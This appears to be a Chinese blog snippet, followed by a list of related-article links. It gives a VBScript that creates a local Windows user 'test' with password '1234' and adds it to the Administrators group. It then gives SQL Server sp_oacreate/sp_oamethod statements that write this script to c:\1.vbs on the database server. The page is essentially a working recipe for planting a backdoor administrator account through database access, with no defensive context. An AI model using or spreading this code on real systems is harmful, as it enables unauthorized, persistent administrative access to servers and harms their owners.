set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
SQL语句如下,采用sp_oamethod过程:
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
相关文章
- junit5 入门系列教程-27-junit5 拓展实体-用户代码和扩展的相对执行顺序
- 可选择Email和用户名登录的代码
- Jeecgboot3.6.3的vue3版本的一种flowable动态增加多实例用户任务节点的方法(二)前端代码介绍
- RSA加解密 公钥加密私钥解密 公加私解 && C++ 调用openssl库 的代码实例
- 浏览器要求用户确认 Cookies & Privacy(隐私相关内容)是基于隐私法规的要求,VUE 实现,html 代码
- 计算机管理用户拒绝访问,win10系统打不开管理员账户 administrator拒绝访问的解决方法...
- git clone代码时输入错用户名或密码的解决方式
- 轻松实现网页中通过链接跳转到QQ聊天界面,通过链接加QQ群,自动打开聊天对话框等等,包含电脑版和手机版的实现,示例部分Android和iOS的代码
- 使用git提交代码到github,每次都要输入用户名和密码的解决方法
- Linux内核源代码解析——用户发送数据包的起源之sendto